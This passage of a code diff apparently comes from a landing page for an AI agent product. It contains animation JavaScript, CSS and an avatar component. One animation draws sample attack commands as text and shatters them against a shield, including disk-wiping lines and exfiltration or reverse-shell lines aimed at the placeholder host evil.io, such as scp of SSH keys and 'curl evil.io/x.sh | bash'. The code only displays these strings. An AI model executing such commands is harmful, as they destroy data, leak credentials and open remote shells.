'fdisk /dev/sda',
'shutdown -h now',
'mkfs.ext4 /dev/sdb'
];
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
var LONG_CMDS = [
'curl -T 数据.zip evil.io',
'scp ~/.ssh/id_rsa evil.io',
'curl -T C:\\pw.xlsx evil.io',
'nc evil.io 4444 -e /bin/sh',
'curl evil.io/x.sh | bash',
'wget evil.io/m -O- | sh',
'tar czf - ~ | nc evil.io 4444'
];
function rand(a, b) { return a + Math.random() * (b - a); }
function shuffled(arr) {
var a = arr.slice();
for (var i = a.length - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
var t = a[i]; a[i] = a[j]; a[j] = t;
}
return a;
}
/* 20 15 + 5
弹道参数全随机起点高度/水平初速/重力/瞄点微调 每条弧线角度都不同 */
function pickCommands() {
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
return shuffled(picks).map(function (cmd) {
return {
cmd: cmd,
startY: rand(70, 230),
vx: rand(190, 430),
g: rand(430, 780),
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729 */
};
});
}
async function loopForever(myGen) {
while (myGen === gen) {
var cmds = pickCommands();
for (var i = 0; i < cmds.length; i++) {
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
}
await step(600, myGen); /* 轮间稍停 */
}
}
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
/** 测量每个字符相对块左上角的精确偏移未旋转时测Range 天然处理中文宽度) */
function measureChars(block) {
var tn = block.firstChild;
if (!tn || tn.nodeType !== 3) return null;
var br = block.getBoundingClientRect();
var range = document.createRange();
var offsets = [];
for (var i = 0; i < tn.length; i++) {
range.setStart(tn, i);
range.setEnd(tn, i + 1);
var r = range.getBoundingClientRect();
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
}
range.detach();
return offsets;
}
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
var text = block.textContent;
var rad = hitAng / 57.3;
var cosA = Math.cos(rad);
var sinA = Math.sin(rad);
var cx = hitX + w / 2; // 块的旋转中心transform-origin = 50% 50%
var cy = hitY + h / 2;
block.parentNode.removeChild(block);
var shards = [];
for (var i = 0; i < text.length; i++) {
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
var s = el('span', 'cmd-shard', ch);
stage.appendChild(s);
var sw = s.offsetWidth;
var sh = s.offsetHeight;
// 字符中心在块内(未旋转)相对块中心的偏移
var lx, ly;
if (offsets && offsets[i]) {
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
} else {
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
ly = 0;
}
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
var rx = cx + lx * cosA - ly * sinA;
var ry = cy + lx * sinA + ly * cosA;
var sx0 = rx - sw / 2;
var sy0 = ry - sh / 2;
var rot0 = hitAng + (Math.random() - 0.5) * 24;
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
shards.push({
el: s,
x: sx0,
y: sy0,
vx: -(60 + Math.random() * 200), // 向左回弹
vy: -(120 + Math.random() * 240), // 向上炸开
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
vr: (Math.random() - 0.5) * 900,
life: 0,
ttl: 0.85 + Math.random() * 0.4
});
}
var g = 980;
eachFrame(function (dt) {
var alive = false;
for (var i = 0; i < shards.length; i++) {
var p = shards[i];
if (p.life >= p.ttl) continue;
alive = true;
p.life += dt;
p.x += p.vx * dt;
p.y += p.vy * dt;
p.vy += g * dt;
p.rot += p.vr * dt;
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
p.el.style.opacity = Math.max(0, fade).toFixed(2);
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
}
return alive;
}, gen); // 粒子循环跟当前 gen切换时自动停
}
function impactFX() {
var c = shieldCenter();
ring.style.left = c.x + 'px';
ring.style.top = c.y + 'px';
ring.classList.remove('is-active');
ring.getBoundingClientRect(); // reflow 重置动画
ring.classList.add('is-active');
defender.classList.remove('is-hit');
defender.getBoundingClientRect();
defender.classList.add('is-hit');
}
/*
gen 固定不再递增无重播入口粒子/飞行各自的生命周期自清理 */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
loopForever(gen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };
})();

View File

@ -0,0 +1,278 @@
/* 运行模式动画 共享样式主页与 anim-demo 共用
token--text-1 由宿主页面提供 */
/* ───────── 动画容器:透明无框,浮在背景上 ───────── */
.anim-window {
position: relative;
width: 100%;
height: 100%;
display: flex;
flex-direction: column;
overflow: hidden;
}
/* 顶部模式切换 */
.anim-topbar {
display: flex;
gap: 2px;
padding: 0 2px 12px;
flex: none;
}
.anim-mode-tab {
height: 26px;
padding: 0 13px;
border: 0;
border-radius: 6px;
background: transparent;
color: var(--text-3);
font-size: 12.5px;
font-family: inherit;
cursor: pointer;
transition: background-color 0.25s ease, color 0.25s ease;
}
.anim-mode-tab:hover { color: var(--text-2); }
.anim-mode-tab.is-active {
background: rgba(169, 194, 240, 0.14);
color: var(--accent-strong);
}
/* ───────── 消息区 ───────── */
.anim-chat {
flex: 1;
padding: 4px 2px;
display: flex;
flex-direction: column;
gap: 10px;
overflow: hidden;
}
/* 入场:上浮淡入 */
.anim-item {
animation: anim-in 0.32s cubic-bezier(0.22, 0.9, 0.3, 1) both;
}
@keyframes anim-in {
from { opacity: 0; transform: translateY(8px); }
to { opacity: 1; transform: translateY(0); }
}
/* 用户气泡:右侧 */
.msg-user {
align-self: flex-end;
max-width: 78%;
background: var(--accent);
color: #0c1120;
font-size: 13px;
line-height: 1.5;
padding: 8px 12px;
border-radius: 12px 12px 4px 12px;
}
/* AI 消息:裸文字,无气泡 */
.msg-ai {
align-self: flex-start;
max-width: 92%;
color: var(--text-1);
font-size: 13px;
line-height: 1.65;
}
/* 打字光标 */
.type-caret {
display: inline-block;
width: 7px;
height: 14px;
margin-left: 2px;
vertical-align: -2px;
background: var(--accent);
animation: caret-blink 0.8s steps(1) infinite;
}
@keyframes caret-blink { 50% { opacity: 0; } }
/* 思考:只有三点动画,无文字 */
.think-row {
align-self: flex-start;
display: flex;
align-items: center;
padding: 6px 0;
}
.think-dots { display: inline-flex; gap: 5px; }
.think-dots i {
width: 6px; height: 6px;
border-radius: 50%;
background: var(--text-2);
animation: think-wave 1.2s ease-in-out infinite;
}
.think-dots i:nth-child(2) { animation-delay: -0.2s; }
.think-dots i:nth-child(3) { animation-delay: -0.4s; }
@keyframes think-wave {
0%, 100% { transform: translateY(0); opacity: 0.5; }
50% { transform: translateY(-4px); opacity: 1; }
}
/* 工具摘要行主对话极简模式风格
一行状态图标 + intent + 关键参数无框无底不显示工具名 */
.tool-line {
align-self: stretch;
display: flex;
align-items: baseline;
gap: 8px;
padding: 3px 0;
font-size: 12.5px;
line-height: 1.5;
min-width: 0;
}
.tool-status {
flex: none;
width: 13px;
display: inline-flex;
align-items: center;
align-self: center;
justify-content: center;
/* 状态图标在行尾:左侧是 intent+参数 */
order: 3;
margin-left: auto;
}
/* 运行中:转圈 */
.tool-line.is-running .tool-status::before {
content: "";
width: 9px; height: 9px;
border-radius: 50%;
border: 1.6px solid rgba(168, 180, 210, 0.3);
border-top-color: var(--accent);
animation: tool-spin 0.7s linear infinite;
}
@keyframes tool-spin { to { transform: rotate(360deg); } }
/* 完成:对勾 */
.tool-line.is-done .tool-status::before {
content: "✓";
color: var(--ok);
font-size: 11.5px;
font-weight: 700;
}
.tool-intent {
color: var(--text-1);
flex: none;
}
.tool-param {
font-family: var(--font-mono);
font-size: 11.5px;
color: var(--text-3);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
min-width: 0;
}
.tool-line.is-done .tool-intent { color: var(--text-2); }
/* ───────── 计划展示:无卡片,裸内容 ───────── */
.plan-body {
align-self: stretch;
padding: 2px 0 0;
}
.plan-title {
font-size: 13.5px;
font-weight: 620;
color: var(--text-1);
margin-bottom: 6px;
min-height: 20px;
}
.plan-item {
display: flex;
gap: 8px;
font-size: 12.5px;
color: var(--text-2);
line-height: 1.6;
padding: 1.5px 0;
}
.plan-item b {
color: var(--text-3);
font-weight: 500;
font-family: var(--font-mono);
font-size: 11.5px;
margin-top: 1px;
flex: none;
}
.plan-actions {
margin-top: 12px;
display: flex;
gap: 10px;
max-height: 40px;
overflow: hidden;
}
.plan-actions.is-gone {
/* 与输入栏同理transition 与入场动画 fill 同帧交互不可靠,退场统一用 keyframes */
animation: plan-actions-out 0.35s ease both;
}
@keyframes plan-actions-out {
from { opacity: 1; max-height: 40px; margin-top: 12px; }
to { opacity: 0; max-height: 0; margin-top: 0; }
}
.plan-btn {
height: 30px;
padding: 0 16px;
border-radius: 7px;
border: 1px solid var(--line);
background: transparent;
color: var(--text-2);
font-size: 12.5px;
font-family: inherit;
}
.plan-btn.is-primary {
background: var(--accent);
border-color: transparent;
color: #0c1120;
font-weight: 600;
}
.plan-btn.is-pressed { transform: scale(0.93); transition: transform 0.1s ease; }
.plan-btn.is-approved {
background: transparent;
border-color: var(--ok);
color: var(--ok);
transition: all 0.2s ease;
}
/* ───────── 输入栏:直接显示正在输入的内容 ───────── */
.anim-composer {
flex: none;
margin: 10px 2px 0;
height: 40px;
border: 1px solid var(--line);
border-radius: 10px;
display: none;
align-items: center;
padding: 0 13px;
}
.anim-composer.is-visible { display: flex; animation: anim-in 0.32s ease both; }
.anim-composer.is-sent {
/* 退场用 keyframes不依赖 transition 与入场动画 fill 值的交互 */
animation: composer-out 0.25s ease both;
}
@keyframes composer-out {
from { opacity: 1; transform: none; }
to { opacity: 0; transform: translateY(6px); }
}
.anim-composer-text { font-size: 12.5px; color: var(--text-1); }
.anim-composer-caret {
width: 1.5px; height: 15px;
background: var(--text-2);
animation: caret-blink 1s steps(1) infinite;
}
/* ───────── 假鼠标指针 ───────── */
.anim-cursor {
position: absolute;
left: 0; top: 0;
opacity: 0;
pointer-events: none;
transition: transform 0.7s cubic-bezier(0.3, 0.7, 0.3, 1), opacity 0.25s ease;
filter: drop-shadow(0 1px 3px rgba(0, 0, 0, 0.5));
}
.anim-cursor.is-visible { opacity: 1; }
.anim-cursor.is-clicking svg { transform: scale(0.82); transition: transform 0.09s ease; }
.anim-cursor svg { display: block; transition: transform 0.12s ease; }

View File

@ -0,0 +1,269 @@
/* 版本控制动画 模块样式主页 feature / anim4-demo 页共用
无边框无底色融于星空 glowtoken--text-1 由宿主页面提供
类名一律 anim4- 前缀避免与 01~03 模块冲突 */
.anim4-window {
position: relative;
width: 100%;
height: 100%;
overflow: hidden;
}
/* 舞台:固定 540×380 逻辑尺寸JS 按容器等比缩放居中transform: translate+scale */
.anim4-stage {
position: absolute;
left: 50%;
top: 50%;
width: 540px;
height: 380px;
overflow: hidden;
user-select: none;
-webkit-user-select: none;
}
/* ───────── 用户指令气泡(右上角堆叠) ───────── */
/* 新气泡从下面浮现旧的上移跑出可视区不销毁倒带时随堆叠回落
容器高度 = 2.5 个气泡 + 间距顶部渐隐遮罩 = 边缘虚化
进出场全由 JS tween 驱动 margin/transformrAF 可见时间不用 CSS transition tween height */
.anim4-bubbles {
position: absolute;
right: 8px;
top: 2px;
width: 248px;
height: 84px;
display: flex;
flex-direction: column;
justify-content: flex-end;
overflow: hidden;
z-index: 30;
-webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
pointer-events: none;
}
/* 单条气泡:风格同 01 的用户气泡accent 底深字、右下小尾巴),不变色 */
.anim4-bubble {
flex: none;
align-self: flex-end;
max-width: 236px; /* 兜底最长指令「我让你整理工作区不是让你全删了」17 字单行放下 */
margin-top: 6px;
padding: 6px 11px;
background: var(--accent);
color: var(--bg-0);
font-size: 12px;
line-height: 1.35;
border-radius: 10px 10px 3px 10px;
}
/* 湮灭碎片:回卷时被时间抹掉的指令字符(逐字 spanJS 物理驱动) */
.anim4-shard {
position: absolute;
left: 0;
top: 0;
color: var(--accent);
font-size: 12px;
line-height: 1.35;
white-space: nowrap;
z-index: 40;
pointer-events: none;
will-change: transform, opacity;
}
/* ───────── 纸3D 斜铺的工作台) / 终端 ───────── */
.anim4-paper {
position: absolute;
left: 268px;
top: 190px;
width: 192px;
height: 122px;
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); /* 尺寸/倾斜与 03 一致;位置比 03 低 60px避让右上气泡区 */
z-index: 15;
will-change: transform;
}
.anim4-paper-sheet {
width: 100%;
height: 100%;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 6px;
padding: 18px 16px;
display: flex;
flex-direction: column;
gap: 14px; /* 与 03 纸页行距一致 */
transition: background 0.3s ease;
}
.anim4-paper.is-term .anim4-paper-sheet { background: var(--bg-1); }
/* 内容行(行宽由 JS 逐帧驱动,不用 transition */
.anim4-pl {
position: relative;
width: 0; /* 初始是空纸:宽度由 JS 逐帧写入;不写死 100% 会默认撑满 */
height: 4px;
border-radius: 2px;
background: var(--text-3);
opacity: 0.75;
transition: opacity 0.25s ease;
}
.anim4-paper.is-term .anim4-pl { opacity: 0; }
.anim4-pl-end {
position: absolute;
right: 0;
top: 50%;
width: 0;
height: 0;
}
/* 终端层叠在纸面上morph 时淡入 */
.anim4-term {
position: absolute;
inset: 0;
padding: 16px 16px;
font-family: var(--font-mono);
font-size: 12px;
line-height: 1.75;
color: var(--text-2);
opacity: 0;
overflow: hidden; /* 抢救段行多上滚时,裁掉滚出纸面的行 */
transition: opacity 0.3s ease;
}
/* 内容上滚动画在 body 内层做term 自身 transform 会连同裁剪区一起跑 */
.anim4-term-body { transition: transform 0.25s ease; }
.anim4-paper.is-term .anim4-term { opacity: 1; }
.anim4-term-line {
display: flex;
align-items: baseline;
white-space: nowrap;
}
.anim4-term-p { color: var(--accent); margin-right: 6px; }
.anim4-term-c { color: var(--text-1); }
.anim4-term-out {
color: var(--text-3);
visibility: hidden;
}
.anim4-term-out.is-on { visibility: visible; }
.anim4-term-new {
visibility: hidden;
}
.anim4-term-new.is-on { visibility: visible; }
.anim4-term-caret {
display: inline-block;
width: 7px;
height: 13px;
margin-left: 1px;
vertical-align: -2px;
background: var(--accent);
animation: anim4-caret 0.85s steps(1) infinite;
}
@keyframes anim4-caret { 50% { opacity: 0; } }
/* ───────── 智能体(全部动作由 JS 逐帧驱动,无 CSS 过渡,防 fill 冲突) ───────── */
.anim4-agent {
position: absolute;
left: 0;
top: 0;
width: 70px;
height: 70px;
z-index: 35;
will-change: transform;
pointer-events: none;
}
.anim4-agent-avatar {
display: block;
width: 70px;
height: 70px;
color: var(--text-1);
}
.anim4-agent-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 本动画里智能体在纸/终端/亭前活动:六边形填底色遮住后方元素(组件默认 fill:none 是状态栏规格,此处局部覆盖) */
.anim4-agent-avatar .aa-frame { fill: var(--bg-0); }
/* ───────── 笔(结构同 03外层定位 + 内层绕笔尖摇摆) ───────── */
.anim4-pen-pos {
position: absolute;
left: 0;
top: 0;
z-index: 40;
width: 40px;
height: 40px;
color: var(--accent);
will-change: transform;
transition: transform 0.45s cubic-bezier(.4, 0, .2, 1); /* 普通飞行用过渡 */
}
.anim4-pen-pos.is-live { transition: none; } /* 逐帧驱动时关闭过渡 */
.anim4-pen {
width: 40px;
height: 40px;
transform-origin: 11% 87.6%; /* 笔尖触点(同 03 */
}
/* 写字摇晃由 JS 逐帧驱动(振幅包络起止收敛到 0°见 writeLine不用 CSS 动画 */
/* 甩飞:绕中心翻滚 */
.anim4-pen.is-free { transform-origin: 50% 50%; animation: none; }
/* 捡笔回正:过渡平滑转正,期间 origin 保持中心(结束移除后 rotate=0 不受 origin 影响) */
.anim4-pen.is-returning { transition: transform 0.38s ease; transform-origin: 50% 50%; animation: none; }
.anim4-pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
/* 时光机整机 2D 矢量化所有面 JS 手算透视投影屏幕空间 SVG 绘制
wrapper 承担 2D 整体运动下落/浮空/微倾面的投影由 drawBooth() 每帧按偏航 24°+sway 计算
三层后层 svg z1左外墙 + clip 到门洞的内景< 智能体 z2 < 前层 svg z3关门即挡住他
96×96×142 正方形柱正面左右梃各 18 + 门洞 60双开门屋顶四棱锥底 108×108 28
智能体进出不做消失动画走进深处被左梃自然遮挡 */
.anim4-booth {
position: absolute;
left: 0;
top: 0;
width: 150px;
height: 220px;
z-index: 20;
opacity: 0;
will-change: transform;
pointer-events: none;
}
/* 智能体挂载层与门洞投影对齐的透明层投影公式标定夹在前后两层 svg 之间
无背景无裁剪室内由内景多边形提供超出门口的部分被前层双梃/门板自然遮住 */
.anim4-booth-inner {
position: absolute;
z-index: 2;
pointer-events: none;
}
/* 矢量化覆盖层屏幕空间绘制原生 AA 永远锐利根治 3D 纹理重采样锯齿
填色/描边语言延续线稿bg-1 + text-1 内景 bg-0地板 bg-panel */
.anim4-booth-wire {
position: absolute;
inset: 0;
overflow: visible;
pointer-events: none;
}
.anim4-booth-wire-back { z-index: 1; }
#boothWireFront { z-index: 3; }
.anim4-booth-wire polygon {
fill: var(--bg-1);
stroke: var(--text-1);
stroke-width: 1.6;
stroke-linejoin: round;
}
#bwInBack, #bwInSideR, #bwInCeil { fill: var(--bg-0); }
#bwInFloor { fill: var(--bg-panel); }
.bw-door-stripe { stroke: var(--text-1); stroke-width: 1.6; }
.bw-door-knob { fill: var(--text-1); stroke: none; }
#bwRod { stroke: var(--text-1); stroke-width: 2; stroke-linecap: round; }
#bwKnob { fill: var(--bg-1); stroke: var(--text-1); stroke-width: 1.6; }
/* ───────── 地面接触阴影(中性灰,非发光) ───────── */
.anim4-shadow {
position: absolute;
height: 10px;
border-radius: 50%;
background: rgba(0, 0, 0, 0.35);
z-index: 5;
pointer-events: none;
}
.anim4-shadow-booth { width: 116px; opacity: 0; }
.anim4-shadow-agent { width: 56px; opacity: 0; }

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,35 @@
/* 修改记录动画 demo 页壳 —— 布局与 token动画本体样式在 anim-records.css */
:root {
--bg-0: #0c1120;
--bg-1: #111830;
--bg-panel: #151c31;
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--line: rgba(168, 180, 210, 0.14);
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--ok: #7ba889;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: var(--font-sans);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-1);
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
/* demo 页动画宿主:原尺寸 1:1不缩放 */
.anim-host { width: 540px; height: 380px; }

View File

@ -0,0 +1,36 @@
/* 版本控制动画 demo 页壳 —— 布局与 token动画本体样式在 anim-version.css */
:root {
--bg-0: #0c1120;
--bg-1: #111830;
--bg-panel: #151c31;
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--line: rgba(168, 180, 210, 0.14);
--line-strong: rgba(168, 180, 210, 0.24);
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--ok: #7ba889;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: var(--font-sans);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-1);
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
/* demo 页动画宿主:原尺寸 1:1不缩放 */
.anim-host { width: 540px; height: 380px; }

View File

@ -0,0 +1,47 @@
/* Astrion 品牌形象组件 六边形 + 双眼
* 参数精确还原 static/src/components/avatar/StatusAvatar.vue
* viewBox 0 0 200 200flat-top 圆角正六边形
* idle 外框 stroke-width 12眼睛 stroke-width 10全部 currentColor
* 眼睛竖线位于 (84,96) / (116,96) 22
* 颜色永远跟随上下文文字色currentColor禁止单独上色
*/
.astrion-avatar {
display: block;
color: inherit;
overflow: visible;
}
.aa-frame {
fill: none;
stroke: currentColor;
stroke-width: 12;
stroke-linecap: round;
stroke-linejoin: round;
}
.aa-eye {
fill: none;
stroke: currentColor;
stroke-width: 10;
stroke-linecap: round;
stroke-linejoin: round;
}
/* 思考表情三个波浪圆点r=7位于 80/100/120 */
.aa-think-dot {
fill: currentColor;
animation: aa-think-wave 1.6s ease-in-out infinite;
}
.aa-think-dot:nth-child(1) { animation-delay: -0.48s; }
.aa-think-dot:nth-child(2) { animation-delay: -0.32s; }
.aa-think-dot:nth-child(3) { animation-delay: -0.16s; }
@keyframes aa-think-wave {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-12px); }
}
@media (prefers-reduced-motion: reduce) {
.aa-think-dot { animation: none; }
}

View File

@ -0,0 +1,250 @@
/* Astrion + +
*
* 用法
* AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true })
*
* idle 模式竖线双眼随机眨眼眼睛组随鼠标方向轻微偏移
* think 模式三个波浪圆点不追踪不眨眼
*/
(function () {
'use strict';
var SVG_NS = 'http://www.w3.org/2000/svg';
// —— 精确还原 StatusAvatar.vue 的几何参数 ——
var FRAME_PATH =
'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' +
'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' +
'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' +
'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' +
'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' +
'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z';
// 眼睛 path 的 18 个数字M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r
var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11];
var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
var EYE_LEFT = { x: 84, y: 96 };
var EYE_RIGHT = { x: 116, y: 96 };
// 鼠标追踪参数viewBox 单位)
var TRACK_MAX = 7; // 最大偏移
var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移
var TRACK_LERP = 0.14;
function eyePathD(n) {
return (
'M ' + n[0] + ',' + n[1] +
' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] +
' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] +
' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] +
' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17]
);
}
function svgEl(tag, attrs) {
var el = document.createElementNS(SVG_NS, tag);
for (var k in attrs) el.setAttribute(k, attrs[k]);
return el;
}
// —— 眨眼 morph同构 path 数字线性插值 ——
function morphEyes(eyes, from, to, duration, done) {
var start = null;
function step(ts) {
if (!start) start = ts;
var t = Math.min((ts - start) / duration, 1);
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad
var cur = from.map(function (v, i) { return v + (to[i] - v) * e; });
var d = eyePathD(cur);
eyes[0].setAttribute('d', d);
eyes[1].setAttribute('d', d);
if (t < 1) requestAnimationFrame(step);
else if (done) done();
}
requestAnimationFrame(step);
}
// —— 全局注视驱动(单 rAF 循环驱动所有实例) ——
// 每个实例二选一useMouse 跟随鼠标;或 manual 目标(动画模块用 handle().lookAt 驱动)
var tracked = [];
var mouse = { x: -9999, y: -9999 };
var rafRunning = false;
function trackLoop() {
for (var i = 0; i < tracked.length; i++) {
var inst = tracked[i];
if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; }
var tx, ty;
if (inst.manual) {
tx = inst.manual.x;
ty = inst.manual.y;
} else if (inst.useMouse) {
var rect = inst.svg.getBoundingClientRect();
if (rect.width === 0) continue;
var cx = rect.left + rect.width / 2;
var cy = rect.top + rect.height / 2;
var dx = mouse.x - cx;
var dy = mouse.y - cy;
var dist = Math.hypot(dx, dy) || 1;
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
tx = (dx / dist) * reach;
ty = (dy / dist) * reach;
} else {
tx = 0;
ty = 0;
}
inst.cur.x += (tx - inst.cur.x) * TRACK_LERP;
inst.cur.y += (ty - inst.cur.y) * TRACK_LERP;
inst.eyes.setAttribute(
'transform',
'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')'
);
}
if (tracked.length > 0) requestAnimationFrame(trackLoop);
else rafRunning = false;
}
window.addEventListener('mousemove', function (e) {
mouse.x = e.clientX;
mouse.y = e.clientY;
}, { passive: true });
function mount(el, opts) {
opts = opts || {};
var mode = opts.mode || 'idle';
var svg = svgEl('svg', {
class: 'astrion-avatar',
viewBox: '0 0 200 200',
'aria-hidden': 'true'
});
svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH }));
if (mode === 'think') {
var think = svgEl('g', { class: 'aa-think' });
[80, 100, 120].forEach(function (x) {
think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 }));
});
svg.appendChild(think);
} else {
var eyes = svgEl('g', { class: 'aa-eyes' });
var eyeL = svgEl('path', {
class: 'aa-eye',
transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')',
d: eyePathD(EYE_IDLE)
});
var eyeR = svgEl('path', {
class: 'aa-eye',
transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')',
d: eyePathD(EYE_IDLE)
});
eyes.appendChild(eyeL);
eyes.appendChild(eyeR);
svg.appendChild(eyes);
var pair = [eyeL, eyeR];
if (opts.blink !== false) {
(function scheduleBlink() {
var delay = 2200 + Math.random() * 2600;
setTimeout(function () {
if (!document.contains(svg)) return;
morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () {
setTimeout(function () {
morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink);
}, 60);
});
}, delay);
})();
}
// 所有 idle 实例都注册进驱动循环useMouse=false 时由 handle().lookAt 手动驱动
var inst = {
svg: svg,
eyes: eyes,
eyeL: eyeL,
eyeR: eyeR,
cur: { x: 0, y: 0 },
manual: null,
useMouse: opts.track !== false,
pathNums: EYE_IDLE.slice(),
morphToken: 0
};
svg._aaInst = inst;
tracked.push(inst);
if (!rafRunning) {
rafRunning = true;
requestAnimationFrame(trackLoop);
}
}
el.appendChild(svg);
return svg;
}
/* idle
lookAt(dx,dy) 直接给 viewBox 偏移lookAtPoint(cx,cy) 看向屏幕某点
morphEyesTo(nums,ms) 眼睛形状渐变困眼/瞪眼setEyePath 瞬切 */
function handle(svg) {
var inst = svg && svg._aaInst;
if (!inst) return null;
var h = {
lookAt: function (dx, dy) {
var m = Math.hypot(dx, dy);
if (m > TRACK_MAX) { dx = (dx / m) * TRACK_MAX; dy = (dy / m) * TRACK_MAX; }
inst.manual = { x: dx, y: dy };
},
lookAtPoint: function (clientX, clientY) {
var rect = inst.svg.getBoundingClientRect();
if (rect.width === 0) return;
var cx = rect.left + rect.width / 2;
var cy = rect.top + rect.height / 2;
var dx = (clientX - cx) / (rect.width / 200);
var dy = (clientY - cy) / (rect.height / 200);
var d = Math.hypot(dx, dy) || 1;
var s = Math.min(d / 60, 1); /* 60 个 viewBox 单位外达到最大注视 */
h.lookAt((dx / d) * TRACK_MAX * s, (dy / d) * TRACK_MAX * s);
},
releaseLook: function () { inst.manual = null; },
setEyePath: function (nums) {
inst.morphToken++;
inst.pathNums = nums.slice();
var d = eyePathD(nums);
inst.eyeL.setAttribute('d', d);
inst.eyeR.setAttribute('d', d);
},
morphEyesTo: function (nums, ms, done) {
var token = ++inst.morphToken;
var from = inst.pathNums.slice();
var start = null;
function stepFn(ts) {
if (token !== inst.morphToken) return; /* 被更新的 morph 接管,静默退出 */
if (!start) start = ts;
var t = Math.min((ts - start) / ms, 1);
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2;
var cur = from.map(function (v, i) { return v + (nums[i] - v) * e; });
var d = eyePathD(cur);
inst.eyeL.setAttribute('d', d);
inst.eyeR.setAttribute('d', d);
if (t < 1) requestAnimationFrame(stepFn);
else { inst.pathNums = nums.slice(); if (done) done(); }
}
requestAnimationFrame(stepFn);
}
};
return h;
}
/* 由 IDLE 眼睛派生缩放版本(困=缩短,瞪=加长):只缩放 y 分量x 分量全为 0 */
